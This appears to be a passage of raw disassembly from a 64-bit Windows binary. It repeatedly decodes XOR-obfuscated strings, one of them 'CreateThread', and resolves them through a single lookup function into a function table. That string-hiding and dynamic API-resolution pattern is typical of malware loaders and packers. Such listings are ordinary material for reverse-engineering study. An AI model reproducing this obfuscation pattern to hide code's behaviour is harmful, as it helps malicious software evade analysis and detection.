lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2510]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x168], rax
movabs rax, 0x128d42ce17fe54da
mov qword [rbp + 0x80f0], rax
movabs rax, 0x77795011f010cd45
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x7ad927ba769b2699
mov qword [rbp + 0x8110], rax
movabs rax, 0x777950119471a837
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x1ac0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1ac0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x170], rax
movabs rax, 0x17f056d4048cc55a
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1c51986b146abbf8
mov qword [rbp + 0x80f8], rax
mov qword [rbp + 0x8100], r15
movabs rcx, 0xe000000020020088
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x769524bc50f8a01d
mov qword [rbp + 0x8130], rax
movabs rax, 0x6829fd1f7a05f89c
mov qword [rbp + 0x8138], rax
mov qword [rbp + 0x8140], r15
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x2b00]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140030fc0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x2b00]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x178], rax
movabs rax, 0x788f27f738bc065
mov qword [rbp + 0x80f0], rax
movabs rax, 0x41b7fcef8e8cbc5
mov qword [rbp + 0x80f8], rax
mov qword [rbp + 0x8100], r15
movabs rcx, 0xe00000002002047c
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x66ed801727ffa536
mov qword [rbp + 0x8130], rax
movabs rax, 0x70631aba968788a1
mov qword [rbp + 0x8138], rax
mov qword [rbp + 0x8140], r15
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x27e0]
lea rcx, [rbp + 0x30]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400310f1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x27e0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x180], rax
movabs rax, 0x18b64cfbaf170eb9
mov qword [rbp + 0x80f0], rax
movabs rax, 0x79d6101f7008db5b
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x70e22996da646beb
mov qword [rbp + 0x8110], rax
movabs rax, 0x79d6101f1469be29
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x1b90]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1b90]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x188], rax
movabs rax, 0x1cbf66a163577e6d
mov qword [rbp + 0x80f0], rax
movabs rax, 0xfb887d1713b8464
mov qword [rbp + 0x80f8], rax
mov qword [rbp + 0x8100], r15
movabs rcx, 0xe000000020021f6e
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x68de08c80e251b39
mov qword [rbp + 0x8130], rax
movabs rax, 0x7ccbe2b21e49d401
mov qword [rbp + 0x8138], rax
mov qword [rbp + 0x8140], r15
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x2c10]
lea rcx, [rbp + 0x30]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140031332
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x2c10]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x190], rax
movabs rax, 0x9fe644f938f7451
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6e9b18a8f2c0a5a7
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x679f2c2ae0e01812
mov qword [rbp + 0x8110], rax
movabs rax, 0x6e9b18a8f2a5c9c3
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x15f0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x15f0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x198], rax
movabs rax, 0x2289ea7513f7e6
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x1c3fa61c6a9539af
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x22899a10769bb5
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x620], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x630], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x640], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x650], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x660], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x670], xmm0
lea r8, [rbp + 0x620]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1a0], rax
movabs rax, 0x99d560c4e7b0b2a
mov qword [rbp + 0x80f0], rax
movabs rax, 0x44673e7e0080abef
mov qword [rbp + 0x80f8], rax
movabs rax, 0xd84cb6bcbf7fab6
mov qword [rbp + 0x8100], rax
movabs rcx, 0x65d75443b9de2432
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x66c933782f1e7969
mov qword [rbp + 0x8130], rax
movabs rax, 0x76544e1265e8c780
mov qword [rbp + 0x8138], rax
movabs rax, 0x79eba318bb9694e5
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0xf50]
lea rcx, [rbp + 0x30]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140031630
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0xf50]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1a8], rax
movabs rax, 0x1b6f65147dc3e2e6
mov qword [rbp + 0x80f0], rax
movabs rax, 0x3222f679a0564b1b
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x281c16711eac90b6
mov qword [rbp + 0x8110], rax
movabs rax, 0x3275820ad23f0d29
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x40], xmm2
lea rax, [rbp + 0x28f0]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140031720
lea r8, [rbp + 0x28f0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1b0], rax
movabs rax, 0x13bfcaafce246c84
mov qword [rbp + 0x80f0], rax
movabs rax, 0x32bc971a9507f2f8
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x20ccb9caad4b1ed4
mov qword [rbp + 0x8110], rax
movabs rax, 0x32bcc06eed62bcca
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x2600]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2600]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1b8], rax
movabs rax, 0x1388308d9687f95
mov qword [rbp + 0x80f0], rax
movabs rax, 0x69b355ee3b24946
mov qword [rbp + 0x80f8], rax
movabs rax, 0x28c4ff6dd09587f
mov qword [rbp + 0x8100], rax
movabs rcx, 0xa1231dcc55aafda
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x605df1608d1c1ad2
mov qword [rbp + 0x8130], rax
movabs rax, 0x60da452b8cc00e22
mov qword [rbp + 0x8138], rax
movabs rax, 0x28c3682b4673119
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8140]
pxor xmm1, xmmword [rbp + 0x8100]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x4200]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140031980
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x4200]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1c0], rax
movabs rax, 0x13a437a9b1004907
mov qword [rbp + 0x80f0], rax
movabs rax, 0x2b9a9bc55cacc11
mov qword [rbp + 0x80f8], rax
mov qword [rbp + 0x8100], r15
movabs rcx, 0xe000000020023c02
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x76d645dcf2742c40
mov qword [rbp + 0x8130], rax
movabs rax, 0x66d8ccce3d9eb87f
mov qword [rbp + 0x8138], rax
mov qword [rbp + 0x8140], r15
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x2d20]
lea rcx, [rbp + 0x30]
mov rdx, r13
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140031ae1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x2d20]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1c8], rax
movabs rax, 0x18ebeaecd184495b
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1602f93d7639d973
mov qword [rbp + 0x80f8], rax
movabs rax, 0x1e9e839315a3ee16
mov qword [rbp + 0x8100], rax
movabs rax, 0x471800a09e4ccaef
mov qword [rbp + 0x8108], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6e829e8f90f02c1c
mov qword [rbp + 0x8130], rax
movabs rax, 0x65719c5e194b8916
mov qword [rbp + 0x8138], rax
movabs rax, 0x5deef6fc67e49c79
mov qword [rbp + 0x8140], rax
movabs rax, 0x471800a0ea22bf80
mov qword [rbp + 0x8148], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x50], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x5940]
lea rcx, [rbp + 0x30]
mov rdx, rbx
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140031c30
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x5940]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1d0], rax
movabs rax, 0x107e558b7cebb602
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1bbdfa62b03d2e69
mov qword [rbp + 0x80f8], rax
movabs rax, 0x855b0589699af64
mov qword [rbp + 0x8100], rax
movabs rcx, 0x53d8820954d7105
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x661721e83d9fd345
mov qword [rbp + 0x8130], rax
movabs rax, 0x68ce9f01df4f7e0c
mov qword [rbp + 0x8138], rax
movabs rax, 0x821de2df9dadd0b
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x4960]
lea rcx, [rbp + 0x30]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140031da0
lea r8, [rbp + 0x4960]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1d8], rax
movabs rax, 0x19f68465784d6a34
mov qword [rbp + 0x80f0], rax
movabs rax, 0xd9d9cdeec0c31a7
mov qword [rbp + 0x80f8], rax
movabs rax, 0x3790de05f40ca51
mov qword [rbp + 0x8100], rax
movabs rcx, 0x67a229a7582e985
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7893f60d2c390f67
mov qword [rbp + 0x8130], rax
movabs rax, 0x6bdcecab837e76c3
mov qword [rbp + 0x8138], rax
movabs rax, 0x3797494362ea337
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x4370]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop
